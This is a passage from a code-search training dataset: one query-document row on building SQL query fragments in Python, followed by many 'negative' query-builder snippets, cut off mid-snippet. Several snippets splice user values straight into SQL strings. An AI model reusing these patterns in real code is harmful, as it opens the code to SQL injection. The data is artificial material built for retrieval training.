\"0.55486184\",\n \"0.5518857\",\n \"0.5508905\",\n \"0.55018914\",\n \"0.549556\",\n \"0.54891443\",\n \"0.54797214\",\n \"0.54753274\",\n \"0.5471614\",\n \"0.5467748\",\n \"0.54518056\",\n \"0.5446094\",\n \"0.5440664\",\n \"0.54380417\",\n \"0.5425644\",\n \"0.5411793\",\n \"0.5409209\",\n \"0.54075897\",\n \"0.5396782\",\n \"0.53964436\",\n \"0.5395215\",\n \"0.53892046\",\n \"0.5389011\",\n \"0.5380417\",\n \"0.5368794\",\n \"0.53676236\",\n \"0.5363884\",\n \"0.5363227\",\n \"0.53613484\",\n \"0.5354922\",\n \"0.53518987\",\n \"0.5348666\",\n \"0.534256\",\n \"0.532818\",\n \"0.53229225\",\n \"0.53116447\",\n \"0.5302159\",\n \"0.52983326\",\n \"0.5297455\",\n \"0.52887493\",\n \"0.5288729\",\n \"0.5274792\",\n \"0.5270559\",\n \"0.5268291\",\n \"0.5259527\",\n \"0.52578986\",\n \"0.5254077\",\n \"0.5253606\",\n \"0.52515703\",\n \"0.5249654\",\n \"0.5248088\",\n \"0.5247889\",\n \"0.5246052\",\n \"0.5246052\",\n \"0.52459586\",\n \"0.52414167\",\n \"0.52414167\",\n \"0.52414167\",\n \"0.52414167\",\n \"0.52414167\",\n \"0.52414167\",\n \"0.5241113\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":82191,"cells":{"query":{"kind":"string","value":"(obj, list, list, list, boolean) > (str) Building part of the query, according to the value passed with 'query_part' parameter (should be 1 or 2)."},"document":{"kind":"string","value":"def build_query_part(self, input_data, table_fields_types, query_part):\n\n\t\tresult_query = '('\t\t\n\n\t\tfor index in xrange(len(input_data)):\n\n\t\t\tif query_part == 1:\n\t\t\t\tproper_value = '\"' + input_data[index] + '\"'\n\t\t\t\t\n\t\t\tif query_part == 2:\n\t\t\t\tif \"nextval\" not in input_data[index]:\n\t\t\t\t\tproper_value = self.escapeinput_data_for_sql(input_data[index], table_fields_types[index])\n\t\t\t\telse:\n\t\t\t\t\tproper_value = input_data[index]\n\n\t\t\t\t\n\t\t\tresult_query = result_query + proper_value + ','\n\n\t\t# if query_part == 2:\n\t\t# \tresult_query = result_query + '\\'\\'' + ','\n\n\t\tresult_query = result_query[:len(result_query)-1]\n\t\tresult_query = result_query + ')'\n\n\t\treturn result_query"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def __generateQuery(self, query):\n if query == None:\n return [\"1=1\"]\n elif type(query) is not list:\n return [query]\n else:\n return query","def make_complex_query_set(self):\n\n query = self.request.GET.get(\"q\")\n program_id = self.request.META.get('HTTP_X_SVMS_PROGRAM_ID')\n category = self.request.GET.get(\"category\")\n title = self.request.GET.get(\"title\")\n level = self.request.GET.get(\"level\")\n description = self.request.GET.get(\"description\")\n status = self.request.GET.get(\"status\")\n job_tag = self.request.GET.get(\"job_tag\")\n\n q_object = Q()\n\n if query:\n q_object.add((\n Q(program_id=query) |\n Q(category=query) |\n Q(title__icontains=query) |\n #Q(category__category_name__icontains=query) |\n Q(description__icontains=query) |\n Q(job_tag__tag__in=str(query).split(\",\"))\n ), Q.OR)\n\n if query.isnumeric():\n q_object.add(\n Q(level__icontains=int(query)), Q.OR)\n\n q_object.add(Q(status=strtobool(query)), Q.OR) if query in [\n \"true\", \"True\", \"False\", \"false\"] else None\n\n else:\n if program_id:\n q_object.add(\n Q(program_id=program_id),\n Q.AND)\n\n if category:\n q_object.add(\n Q(category=category),\n Q.AND)\n if title:\n q_object.add(\n Q(title__icontains=title),\n Q.AND)\n\n if description:\n q_object.add(\n Q(description__icontains=description), Q.AND)\n\n if job_tag:\n q_object.add(\n Q(job_tag__tag__in=str(job_tag).split(\",\")),\n Q.AND)\n\n if level:\n if level.isnumeric():\n q_object.add(\n Q(level__icontains=int(level)),\n Q.AND)\n else:\n raise Exception(\n ErrorMessage.WRONG_FIELD_TYPE.value.format(\"level\",\n \"numeric\"))\n\n q_object.add(Q(status=strtobool(status)), Q.AND) if status in [\n \"true\", \"True\", \"False\", \"false\"] else None\n\n return q_object","def _build_query(self, **query):\n\n available_fields = list(self.model._available_fields.keys())\n\n q_str = ''\n for key, val in list(query.items()):\n # Get the field and the operator from the query\n key_field, key_sep, key_oper = key.partition('__')\n\n if key_field == 'pk' and 'id' not in query:\n key_field = 'id'\n\n if key_field in available_fields:\n if q_str != '':\n q_str += ' AND '\n\n if_cstm = ''\n if key_field.endswith('_c'):\n if_cstm = '_cstm'\n\n field = self.model._table + if_cstm + '.' + key_field\n\n if key_oper in ('exact', 'eq') or (not key_oper and not key_sep):\n q_str += '%s = \"%s\"' % (field, val)\n elif key_oper == 'contains':\n q_str += '%s LIKE \"%%%s%%\"' % (field, val)\n elif key_oper == 'startswith':\n q_str += '%s LIKE \"%s%%\"' % (field, val)\n elif key_oper == 'in':\n q_str += '%s IN (' % field\n for elem in val:\n q_str += \"'%s',\" % elem\n q_str = q_str.rstrip(',')\n q_str += ')'\n elif key_oper == 'gt':\n q_str += '%s > \"%s\"' % (field, val)\n elif key_oper == 'gte':\n q_str += '%s >= \"%s\"' % (field, val)\n elif key_oper == 'lt':\n q_str += '%s < \"%s\"' % (field, val)\n elif key_oper == 'lte':\n q_str += '%s <= \"%s\"' % (field, val)\n else:\n raise LookupError('Unsupported operator')\n\n return q_str","def parse_query_part(\n part: str,\n query_classes: Dict = {},\n prefixes: Dict = {},\n default_class: Type[query.SubstringQuery] = query.SubstringQuery,\n) -> Tuple[Optional[str], str, Type[query.Query], bool]:\n # Apply the regular expression and extract the components.\n part = part.strip()\n match = PARSE_QUERY_PART_REGEX.match(part)\n\n assert match # Regex should always match\n negate = bool(match.group(1))\n key = match.group(2)\n term = match.group(3).replace('\\\\:', ':')\n\n # Check whether there's a prefix in the query and use the\n # corresponding query type.\n for pre, query_class in prefixes.items():\n if term.startswith(pre):\n return key, term[len(pre):], query_class, negate\n\n # No matching prefix, so use either the query class determined by\n # the field or the default as a fallback.\n query_class = query_classes.get(key, default_class)\n return key, term, query_class, negate","def build_query_structure(self):\n query_list = list()\n filter_list = list()\n for key, val in self.q_dict.items():\n if key in self.es_query_keys:\n query_list.append(\n {\"match\": {\".\".join(key.split(\"_\")): val[0]}})\n elif key in self.es_date_keys:\n filter_list.append(\n {\"range\": {\".\".join(key.split(\"_\")): val}})\n elif \":\" in val[0]:\n #for handling queries like dd_dct=gte:1\n range_val = val[0].split(\":\")\n filter_list.append({\"range\": {\".\".join(key.split(\"_\")): {\n range_val[0]: int(range_val[1])}}})\n else:\n filter_list.append(\n {\"terms\": {\".\".join(key.split(\"_\")): val}})\n return query_list, filter_list","def _get_query_part(params: dict) -> str:\n params_cleaned = {k: v for k, v in params.items() if v is not None}\n return ('?' + urlencode(params_cleaned, quote_via=quote, safe=\"/,\")) if params_cleaned else \"\"","def make_complex_query_set(self):\n\n query = self.request.GET.get(\"q\")\n category_name = self.request.GET.get(\"category_name\")\n o_net_soc_code = self.request.GET.get(\"o_net_soc_code\")\n description = self.request.GET.get(\"description\")\n job_title = self.request.GET.get(\"job_title\")\n level = self.request.GET.get(\"level\", '')\n\n q_object = Q()\n\n if query:\n q_object.add((\n Q(category__category_name__icontains=query) |\n Q(category__o_net_soc_code__icontains=query) |\n Q(category__description__icontains=query) |\n Q(category__job_title__description__icontains=query) |\n Q(category__job_title__title__icontains=query)\n ), Q.OR)\n\n if query.isnumeric():\n q_object.add(\n Q(category__job_title__level__icontains=int(query)), Q.OR)\n\n else:\n if category_name:\n q_object.add(\n Q(category__category_name__icontains=category_name),\n Q.AND)\n\n if o_net_soc_code:\n q_object.add(\n Q(category__o_net_soc_code__icontains=o_net_soc_code),\n Q.AND)\n\n if description:\n q_object.add((\n Q(category__description__icontains=description) |\n Q(\n category__job_title__description__icontains=description)\n ), Q.AND)\n\n if job_title:\n q_object.add(\n Q(category__job_title__title__icontains=job_title),\n Q.AND)\n\n if level:\n if level.isnumeric():\n q_object.add(\n Q(category__job_title__level__icontains=int(level)),\n Q.AND)\n else:\n raise Exception(\n ErrorMessage.WRONG_FIELD_TYPE.value.format(\"level\",\n \"numeric\"))\n\n return q_object","def renderPartition(*args, q=True, query=True, **kwargs)->Union[AnyStr, Any]:\n pass","def __make_sel(selection):\n sel = []\n param = []\n for key, value in selection.iteritems(): \n if key == \"fn\":\n if value.find('%') >= 0:\n sel.append(\"irods_filepath like %s\")\n else:\n sel.append(\"irods_filepath = %s\")\n elif key == \"expid\":\n sel.append(\"exper_id = %s\".format(value))\n elif key == 'runnum':\n sel.append(\"runnum = %s\".format(value))\n elif key == 'status' and value:\n sel.append(\"status = %s\")\n else:\n continue\n param.append(value)\n\n q = \"WHERE {}\".format(\" AND \".join(sel)) if sel else \"\"\n return q, param","def part_query(part, db_dir, out_dir, docfn, countfn, doc_cols,\n doc_ind, term_ind, term_map, doc_fp, count_fp):\n\n # handle docs\n doc = pd.read_csv(os.path.join(db_dir, doc_fp % part))\n if docfn:\n doc = docfn(doc, part, db_dir)\n doc_map = doc.reset_index(drop=True)\n doc_map.index.name = \"doc_ind\"\n doc_map = doc_map.reset_index()\n doc_map = doc_map.set_index(doc_ind)[\"doc_ind\"]\n doc[\"doc_id\"] = doc[doc_ind].map(doc_map)\n if doc_cols:\n doc = doc[doc_cols]\n doc.to_csv(os.path.join(out_dir, doc_fp % part), index=False)\n\n # handle counts\n count = pd.read_csv(os.path.join(db_dir, count_fp % part))\n count = count[count[doc_ind].isin(doc_map.index)]\n count = count[count[term_ind].isin(term_map.index)]\n count[\"term_id\"] = count[term_ind].map(term_map)\n count[\"doc_id\"] = count[doc_ind].map(doc_map)\n if countfn:\n count = countfn(count)\n count = count[[\"doc_id\", \"term_id\", \"count\"]]\n count.to_csv(os.path.join(out_dir, count_fp % part), index=False)","def query_from_strings(\n query_cls: Type[query.CollectionQuery],\n model_cls: Type[Model],\n prefixes: Dict,\n query_parts: Collection[str],\n) -> query.Query:\n subqueries = []\n for part in query_parts:\n subqueries.append(construct_query_part(model_cls, prefixes, part))\n if not subqueries: # No terms in query.\n subqueries = [query.TrueQuery()]\n return query_cls(subqueries)","def build_match_clause_and(field, string):\r\n answer = {}\r\n tmp = {}\r\n tmp[field] = {}\r\n tmp[field]['query'] = string\r\n tmp[field]['operator'] = 'and'\r\n answer['match'] = tmp\r\n return answer","def test_to_query_string(self):\n self.assertEqual(\n ClassicAPIQuery(id_list=[]).to_query_string(),\n \"search_query=&id_list=&start=0&max_results=10\",\n )\n self.assertEqual(\n ClassicAPIQuery(\n search_query=\"all:electron\", id_list=[]\n ).to_query_string(),\n \"search_query=all:electron&id_list=&start=0&max_results=10\",\n )\n self.assertEqual(\n ClassicAPIQuery(\n search_query=\"all:electron\",\n id_list=[\"1705.09169v3\", \"1705.09129v3\"],\n ).to_query_string(),\n \"search_query=all:electron&id_list=1705.09169v3,1705.09129v3\"\n \"&start=0&max_results=10\",\n )\n self.assertEqual(\n ClassicAPIQuery(\n search_query=\"all:electron\",\n id_list=[\"1705.09169v3\", \"1705.09129v3\"],\n page_start=3,\n ).to_query_string(),\n \"search_query=all:electron&id_list=1705.09169v3,1705.09129v3\"\n \"&start=3&max_results=10\",\n )\n self.assertEqual(\n ClassicAPIQuery(\n search_query=\"all:electron\",\n id_list=[\"1705.09169v3\", \"1705.09129v3\"],\n page_start=3,\n size=50,\n ).to_query_string(),\n \"search_query=all:electron&id_list=1705.09169v3,1705.09129v3\"\n \"&start=3&max_results=50\",\n )\n self.assertEqual(\n ClassicAPIQuery(\n search_query=\"all:electron\", page_start=3, size=50\n ).to_query_string(),\n \"search_query=all:electron&id_list=&start=3&max_results=50\",\n )\n self.assertEqual(\n ClassicAPIQuery(\n id_list=[\"1705.09169v3\", \"1705.09129v3\"], page_start=3, size=50\n ).to_query_string(),\n \"search_query=&id_list=1705.09169v3,1705.09129v3\"\n \"&start=3&max_results=50\",\n )\n self.assertEqual(\n ClassicAPIQuery(\n search_query=\"all:electron\", size=50\n ).to_query_string(),\n \"search_query=all:electron&id_list=&start=0&max_results=50\",\n )","def build_social_media_match_clause(field, string, boost=30.0):\r\n answer = {}\r\n tmp = {}\r\n tmp[field] = dict()\r\n tmp[field]['query'] = string\r\n tmp[field]['boost'] = boost\r\n tmp[field]['operator'] = 'and'\r\n answer['match'] = tmp\r\n return answer","def make_complex_query_set(self):\n\n query = self.request.GET.get(\"q\")\n category = self.request.GET.get(\"category\")\n title = self.request.GET.get(\"title\")\n\n q_object = Q()\n\n if query:\n q_object.add((\n Q(category__category_name__icontains=query) |\n Q(title__icontains=query) \n ), Q.OR)\n\n else:\n if category:\n q_object.add(\n Q(category=category),\n Q.AND)\n if title:\n q_object.add(\n Q(title__icontains=title),\n Q.AND)\n\n return q_object","def single_query(term_list, subj):\n entity = '?s' if subj else '?o'\n # make a query with the term as subj OR obj:\n query = f\"\"\"\n SELECT ?s ?sLabel ?property ?propertyLabel ?o ?oLabel\n WHERE\n {{\n VALUES ?item {{ {term_list} }}\n {entity} rdfs:label | skos:altLabel ?item. # Look for both labels and aliases\n ?s ?p ?o.\n ?property wikibase:directClaim ?p .\n MINUS {{ ?property wikibase:propertyType wikibase:ExternalId . }} # Remode external identifiers from the result\n SERVICE wikibase:label {{ bd:serviceParam wikibase:language \"[AUTO_LANGUAGE],en\". }}\n }}\n ORDER BY ?s\n LIMIT 20\n \"\"\"\n return apply_request(query)","def make_query(recid='', endpoint='_search', theq='', terms=None, facets=None, should_terms=None, consistent_order=True, **kwargs):\n q = deepcopy(theq)\n if recid and not recid.endswith('/'):\n recid += '/'\n if isinstance(q, dict):\n query = q\n if 'bool' not in query['query']:\n boolean = {'bool': {'must': []}}\n boolean['bool']['must'].append(query['query'])\n query['query'] = boolean\n if 'must' not in query['query']['bool']:\n query['query']['bool']['must'] = []\n elif q:\n query = {\n 'query': {\n 'bool': {\n 'must': [\n {'query_string': {'query': q}}\n ]\n }\n }\n }\n else:\n query = {\n 'query': {\n 'bool': {\n 'must': [\n {'match_all': {}}\n ]\n }\n }\n }\n\n if facets:\n if 'facets' not in query:\n query['facets'] = {}\n for k, v in facets.items():\n query['facets'][k] = {\"terms\": v}\n\n if terms:\n boolean = {'must': []}\n for term in terms:\n if not isinstance(terms[term], list):\n terms[term] = [terms[term]]\n for val in terms[term]:\n obj = {'term': {}}\n obj['term'][term] = val\n boolean['must'].append(obj)\n if q and not isinstance(q, dict):\n boolean['must'].append({'query_string': {'query': q}})\n elif q and 'query' in q:\n boolean['must'].append(query['query'])\n query['query'] = {'bool': boolean}\n\n # FIXME: this may only work if a term is also supplied above - code is a bit tricky to read\n if should_terms is not None and len(should_terms) > 0:\n for s in should_terms:\n if not isinstance(should_terms[s], list):\n should_terms[s] = [should_terms[s]]\n query[\"query\"][\"bool\"][\"must\"].append({\"terms\": {s: should_terms[s]}})\n\n sort_specified = False\n for k, v in kwargs.items():\n if k == '_from':\n query['from'] = v\n elif k == 'sort':\n sort_specified = True\n query['sort'] = v\n else:\n query[k] = v\n if \"sort\" in query:\n sort_specified = True\n\n if not sort_specified and consistent_order:\n query['sort'] = [{\"id\": {\"order\": \"asc\"}}]\n\n # print json.dumps(query)\n return query","def _get_queries(args):\n if args.mode == '2DSEQ':\n queries = [\"@type=='2dseq'\", \"@is_spectroscopy==True\", \"@is_complex==True\"]\n elif args.mode == 'FID':\n queries = [\"@type=='fid'\", \"@is_spectroscopy==True\"]\n return queries + args.query","def get_list_query_cond(column: str, val: list, query_params: dict):\n if val is not None and len(val) != 0:\n or_list = []\n for i in range(len(val)):\n param_name = f'{column}{i}'\n query_params[param_name] = val[i]\n or_list.append('AHJ.' + column + '=%(' + param_name + ')s')\n ret_str = '(' + ' OR '.join(or_list) + ') AND '\n return ret_str\n return ''","def _build_filter_part(self, cls, filters, order_by=None, select=None):\r\n import types\r\n query_parts = []\r\n\r\n order_by_filtered = False\r\n\r\n if order_by:\r\n if order_by[0] == \"-\":\r\n order_by_method = \"DESC\";\r\n order_by = order_by[1:]\r\n else:\r\n order_by_method = \"ASC\";\r\n\r\n if select:\r\n if order_by and order_by in select:\r\n order_by_filtered = True\r\n query_parts.append(\"(%s)\" % select)\r\n\r\n if isinstance(filters, str) or isinstance(filters, unicode):\r\n query = \"WHERE %s AND `__type__` = '%s'\" % (filters, cls.__name__)\r\n if order_by in [\"__id__\", \"itemName()\"]:\r\n query += \" ORDER BY itemName() %s\" % order_by_method\r\n elif order_by != None:\r\n query += \" ORDER BY `%s` %s\" % (order_by, order_by_method)\r\n return query\r\n\r\n for filter in filters:\r\n filter_parts = []\r\n filter_props = filter[0]\r\n if type(filter_props) != list:\r\n filter_props = [filter_props]\r\n for filter_prop in filter_props:\r\n (name, op) = filter_prop.strip().split(\" \", 1)\r\n value = filter[1]\r\n property = cls.find_property(name)\r\n if name == order_by:\r\n order_by_filtered = True\r\n if types.TypeType(value) == types.ListType:\r\n filter_parts_sub = []\r\n for val in value:\r\n val = self.encode_value(property, val)\r\n if isinstance(val, list):\r\n for v in val:\r\n filter_parts_sub.append(self._build_filter(property, name, op, v))\r\n else:\r\n filter_parts_sub.append(self._build_filter(property, name, op, val))\r\n filter_parts.append(\"(%s)\" % (\" OR \".join(filter_parts_sub)))\r\n else:\r\n val = self.encode_value(property, value)\r\n if isinstance(val, list):\r\n for v in val:\r\n filter_parts.append(self._build_filter(property, name, op, v))\r\n else:\r\n filter_parts.append(self._build_filter(property, name, op, val))\r\n query_parts.append(\"(%s)\" % (\" or \".join(filter_parts)))\r\n\r\n\r\n type_query = \"(`__type__` = '%s'\" % cls.__name__\r\n for subclass in self._get_all_decendents(cls).keys():\r\n type_query += \" or `__type__` = '%s'\" % subclass\r\n type_query +=\")\"\r\n query_parts.append(type_query)\r\n\r\n order_by_query = \"\"\r\n\r\n if order_by:\r\n if not order_by_filtered:\r\n query_parts.append(\"`%s` LIKE '%%'\" % order_by)\r\n if order_by in [\"__id__\", \"itemName()\"]:\r\n order_by_query = \" ORDER BY itemName() %s\" % order_by_method\r\n else:\r\n order_by_query = \" ORDER BY `%s` %s\" % (order_by, order_by_method)\r\n\r\n if len(query_parts) > 0:\r\n return \"WHERE %s %s\" % (\" AND \".join(query_parts), order_by_query)\r\n else:\r\n return \"\"","def makeQuery(specs):\n size = len(specs)\n req = specs[0]\n\n # Create the header\n message = struct.pack('!HHHHHH', 1, 0, 1, 0, 0, 0)\n\n num = req.count('.')\n mylist = req.split('.')\n\n # Create the question and add it to the header\n for string in mylist:\n query = struct.pack(\"!b\"+str(len(string))+\"s\", len(string), string.encode('utf-8'))\n message = message + query\n\n # If the query is Type-A otherwise it is Type-MX\n if size == 1:\n message = message + struct.pack(\"!bHH\", 0,1,1)\n\n elif size == 2:\n message = message + struct.pack(\"!bHH\", 0, 15, 1)\n\n return message","def get_by_parts(self, *parts):\n ...","def query_str(self):\n return \"(seqid == %r) & (start >= %s) & (end <= %s)\" % (self.seqid, self.start, self.end)","def _query_builder(self,\n start_date=None,\n end_date=None,\n clipper=None\n ):\n search_string='format=json&lang=fr&q='\n if (start_date is not None):\n if(end_date is not None):\n search_string+='entre+'+start_date+'+et+'+end_date\n else:\n search_string+=start_date\n elif(end_date is not None): \n search_string+=end_date\n \n if(clipper.query is not None):\n query=clipper.query.replace(' ','+')\n search_string+='+'+query\n if(clipper.bbox is not None):\n search_string+='&box='+clipper.bbox\n\n return search_string","def get_basic_query_cond(column: str, val: str, query_params: dict):\n if val is not None:\n query_params[column] = val\n return 'AHJ.' + column + '=%(' + column + ')s AND '\n return ''","def make_query(graph, ns, request_schema, response_schema):\n @graph.route(\"/v1/foo/get\", Operation.Query, ns)\n @qs(request_schema)\n @response(response_schema)\n def foo_query():\n \"\"\"\n My doc string\n \"\"\"\n request_data = load_query_string_data(request_schema)\n response_data = dict(\n result=True,\n value=request_data[\"required_value\"],\n )\n return dump_response_data(response_schema, response_data, Operation.Query.value.default_code)","def build_query(db, request, tags):\n inner_query, clauses = build_inner_query(request, tags)\n if len(tags) and tags[-1][0] == 'uuid':\n # if we select uuid as the trailing tag we have to be special\n query = \"\"\"\nSELECT DISTINCT s.uuid \nFROM stream AS s\nWHERE s.id IN \"\"\" + inner_query\n elif len(tags) and (tags[-1][1] == None or tags[-1][1] == ''):\n # odd-numbered clasues, so we print matching values of tags\n t = escape_string(tags[-1][0])\n query = \"\"\"\nSELECT DISTINCT metadata -> %s AS svals FROM stream\nWHERE id IN %s AND metadata ? %s\nORDER BY svals ASC\"\"\" % (t, inner_query, t)\n else:\n # otherwise we print all tags matching the restriction\n query = \"\"\"\nSELECT DISTINCT skeys\nFROM (\n SELECT skeys(metadata) FROM stream\n WHERE id IN %s\n) AS skeys ORDER BY skeys ASC\"\"\" % inner_query\n\n log.msg(query)\n d = db.runQuery(query)\n d.addCallback(log_time, time.time())\n return d","def query3() :","def SplitQuery(self, request, context):\n context.code(beta_interfaces.StatusCode.UNIMPLEMENTED)","def build_query(selections, exclude=None):\n other_selected = {sel for c, sel in selections.items() if (c != exclude and sel != -1)}\n if other_selected:\n return ' and '.join(other_selected)\n else:\n return None","def _build_collection_query(collection, recurse, startcol):\n\n if type(collection) == str:\n cond = SQLBinaryExpr(COL_NAME_COLL_NAME, OP_LIKE, SQLLiteral(collection))\n sbe = GenericSQLSelect([COL_NAME_COLL_COLLID], False, [TABLE_NAME_COLL], cond)\n oper = OP_IN\n else:\n sbe = SQLIntegral(collection)\n oper = OP_EQ\n\n sbe = SQLBinaryExpr(startcol, oper, sbe)\n\n if not recurse:\n return sbe, None\n\n virtcoll = \"coll\"\n start = GenericSQLSelect([COL_NAME_COLL_COLLID], False, [TABLE_NAME_COLL], sbe)\n join = SQLJoinExpr(TABLE_NAME_COLL, OP_INNER_JOIN, SQLTableExpr(GEN_RECUR_NAME, \"r\"),\n SQLBinaryExpr(COL_NAME_COLL_PARENTID, OP_EQ, SQLColumnExpr(\"r\", virtcoll)))\n stop = GenericSQLSelect([COL_NAME_COLL_COLLID], False, [join])\n outer = GenericSQLSelect([virtcoll], False, [GEN_RECUR_NAME])\n wexp = str(SQLConcatExpr(EXPR_WITH, SQLFuncExpr(GEN_RECUR_NAME, virtcoll)))\n wexp = SQLBinaryExpr(wexp, OP_AS, SQLConcatExpr(start, OP_UNION_ALL, stop))\n\n return wexp, outer","def join_string(part1, part2, concatenation_string = 'AND', seperator=' '):\n\n if part1 == '':\n return part2\n\n elif part2 == '':\n return part1\n\n\n if part1[-1] == seperator:\n sep1 = ''\n else:\n sep1 = seperator\n\n\n if part2[0] == seperator:\n sep2 = ''\n else:\n sep2 = ' '\n\n\n return part1 + sep1 + concatenation_string + sep2 + part2","def _build_statement(self, query, query_key, beets_key):\n statement = \"\"\n if query_key in query:\n for query_string in query[query_key]:\n if '\"' in query_string:\n statement += \" and %s = \\'%s\\' \" % (beets_key,\n query_string)\n else:\n statement += ' and %s = \\\"%s\\\" ' % (beets_key,\n query_string)\n return statement","def make_query(self):","def build_phone_match_clause(field, string, boost=100):\r\n answer = {}\r\n tmp = {}\r\n string1 = ''\r\n for char in string:\r\n if re.search(\"[^0-9]\", char) is None:\r\n string1 += char\r\n if 'raw' in field: # no further processing; since this is not analyzed\r\n tmp[field] = dict()\r\n tmp[field]['query'] = string1\r\n tmp[field]['boost'] = boost\r\n answer['match'] = tmp\r\n return answer\r\n candidates = list()\r\n candidates.append(string1)\r\n if 'tokens' in field and '000' in string1 and len(string1)==10: # we do not extract this, so we need to do this\r\n k = string1[0:3]+' '+string1[3:6]+' '+string[6:]\r\n candidates.append(k)\r\n tmp[field] = dict()\r\n tmp[field]['query'] = ' '.join(candidates)\r\n tmp[field]['operator'] = 'and'\r\n # tmp[field]['boost'] = 3.0\r\n answer['match'] = tmp\r\n return answer\r\n # not tokens, we proceed now on a stricter basis\r\n\r\n if len(string1) > 10:\r\n candidates.append(string1[2:])\r\n if SparqlTranslator.SparqlTranslator._strip_initial_zeros(string1) != string1:\r\n candidates.append(SparqlTranslator.SparqlTranslator._strip_initial_zeros(string1))\r\n tmp[field] = dict()\r\n tmp[field]['query'] = ' '.join(candidates)\r\n tmp[field]['boost'] = boost\r\n answer['match'] = tmp\r\n return answer","def _get_query(self):\n\n endpoint = ENDPOINTS[self.sync_data.endpoint_index]\n marker = self.sync_data.markers.get(self.sync_data.endpoint_index, START_OF_TIME)\n\n query_string = \"select \" + \",\".join(ENDPOINT_QUERY_FIELDS[endpoint])\n\n # ZOQL does not support the `order by` sorting\n query_string = query_string + \" from {} where UpdatedDate > '{}'\".format(\n endpoint,\n marker\n )\n\n return query_string","def build_query_clauses(\n where: str = \"\", order: str = \"\", limit: int = 0, offset: int = 0\n ) -> str:\n return SqliteQueryBuilder.build_query_clauses(where, order, limit, offset)","def _assemble(self):\n selectop = self._headopt and f'{self._headopt}' or ''\n select = f'{selectop} ' + ', '.join(self._head)\n froms = 'from ' + ', '.join(self._tables)\n joins = ' '.join(self._joins)\n wheres, wkw = self._build_where()\n\n order = ''\n if self._order:\n order = f'order by {self._order[0]} {self._order[1]}'\n limit = ''\n if self._limit:\n limit = f'limit {self._limit}'\n\n kw = self._kw.copy()\n kw.update(wkw)\n return (f'select {select} '\n f'{froms} '\n f'{joins} '\n f'{wheres} '\n f'{order} '\n f'{limit}'\n ), kw","def build_email_match_clause(field, string):\r\n answer = {}\r\n tmp = {}\r\n tmp[field] = dict()\r\n tmp[field]['query'] = string\r\n tmp[field]['boost'] = 30.0\r\n tmp[field]['operator'] = 'and'\r\n answer['match'] = tmp\r\n return answer","def _build_field_request(self):\n include = []\n for field in self.fields:\n if self.fields[field] is True:\n include.append(field)\n include = '&printFields=' + ','.join(include)\n return include","def part1(_input):\n\n return None","def build_mongo_index_query(input=None):\n result = {}\n input=input.split()\n if len(input) < 2:\n result['word']=input[0]\n else:\n result['$or']=[]\n for item in input:\n result['$or'].append({'word':item})\n return result","def genQrelStr(queryId, docId, relGrade):\n return f'{queryId} 0 {docId} {relGrade}'","def request(query):","def build_match_phrase_clause(field, string):\r\n answer = {}\r\n tmp = {}\r\n tmp[field] = string\r\n answer['match_phrase'] = tmp\r\n return answer","def query(self, query):","def __init__(self, query, from_field, to_field):\n self._query = '{!join}' + query\n self._from = from_field\n self._to = to_field","def pp_query(query):\n print(format_query(query))","def test_build_term_query(term, expected):\n query = _build_term_query(term, fields=('country.id', 'sector'))\n assert query.to_dict() == expected","def build_match_clause(field, string):\r\n answer = {}\r\n tmp = {}\r\n tmp[field] = string\r\n answer['match'] = tmp\r\n return answer","def makeQueries(baseQuery, joiningChar):\n results = []\n searchQueries = sys.argv[2:]\n for query in searchQueries: # for every individual query\n queryList = query.split() # split individual terms in a query\n # join them back with the joining char between them\n formatedQuery = joiningChar.join(queryList)\n # append the structured query to the result\n results.append(baseQuery + formatedQuery)\n return results","def generate_query(self):\n return","def query(self):\n q = dict(self._query)\n fworker_check = [{\"spec._fworker\": {\"$exists\": False}}, {\"spec._fworker\": None}, {\"spec._fworker\": self.name}]\n if \"$or\" in q:\n q[\"$and\"] = q.get(\"$and\", [])\n q[\"$and\"].extend([{\"$or\": q.pop(\"$or\")}, {\"$or\": fworker_check}])\n else:\n q[\"$or\"] = fworker_check\n if self.category and isinstance(self.category, str):\n if self.category == \"__none__\":\n q[\"spec._category\"] = {\"$exists\": False}\n else:\n q[\"spec._category\"] = self.category\n elif self.category: # category is list of str\n q[\"spec._category\"] = {\"$in\": self.category}\n\n return q","def build_query(devices, filter_inter, interactions_further=None):\n\n id_2_found = CsvFormat.other_id.value\n if interactions_further is not None:\n id_2_found = CsvFormat.my_id.value\n\n query = 'SELECT i._{} as id, CAST(i._{} as int) as timestamp_start, CAST(i._{} as float) as interval_time ' \\\n 'FROM S3Object i WHERE CAST(i._{} as float) >= {}'.format(\n id_2_found,\n CsvFormat.timestamp_start.value,\n CsvFormat.interval.value,\n CsvFormat.interval.value,\n MINIMUM_INTERVAL_TIME)\n\n if 'distance' in filter_inter:\n if 'max' in filter_inter['distance']:\n query += ' and CAST(i._{} as float) <= {}'.format(CsvFormat.distance_type.value,\n filter_inter['distance']['max'])\n if 'min' in filter_inter['distance']:\n query += ' and CAST(i._{} as float) >= {}'.format(CsvFormat.distance_type.value,\n filter_inter['distance']['min'])\n\n if interactions_further is not None:\n condos = []\n for inter in interactions_further:\n orcond = '(i._{}=\\'{}\\' and (CAST(i._{} as float) between {} and {} or CAST(i._{} as float) between {} and {}))'\\\n .format(CsvFormat.other_id.value,\n inter['id'],\n CsvFormat.timestamp_start.value,\n inter['timestamp_start'],\n int(inter['timestamp_start'] + inter['interval_time']),\n CsvFormat.timestamp_end.value,\n inter['timestamp_start'],\n int(inter['timestamp_start'] + inter['interval_time'])\n )\n condos.append(orcond)\n if len(condos) > 0:\n query += ' and ' + ' or '.join(condos)\n else:\n query += ' and i._{} in (\\'{}\\')'.format(\n CsvFormat.my_id.value,\n '\\',\\''.join([str(x) for x in devices])\n )\n\n return query","def reformulate_query(s):\n words = tokenize(s)\n tags = [tag for _, tag in pos_tag(words)]\n\n if tags[-1] == '.':\n words.pop()\n\n # what/who questions\n if tags[0] in set(['WP', 'WDT']):\n if tags[1] in set(['VBZ', 'VBD', 'VBP']):\n if tags[-1] is not 'IN':\n exact_query = '{0}\\s*{1}\\s*{2}'.format(' '.join(words[2:]),\n '(?:\\(.*\\))?', words[1])\n inexact_query = '{0} {1}'.format(' '.join(words[2:]), words[1])\n return exact_query, inexact_query\n return s, s","def _scryfall_query_builder(colors, query_type, deck_format):\n base_query = 